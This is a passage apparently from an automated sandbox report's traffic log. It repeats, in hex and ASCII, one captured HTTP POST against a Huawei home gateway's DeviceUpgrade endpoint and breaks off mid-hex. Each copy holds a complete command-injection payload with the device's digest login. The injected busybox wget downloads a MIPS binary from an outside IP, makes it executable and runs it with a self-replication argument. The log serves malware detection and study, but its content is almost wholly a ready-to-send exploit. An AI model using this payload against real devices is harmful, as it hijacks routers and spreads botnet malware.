6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 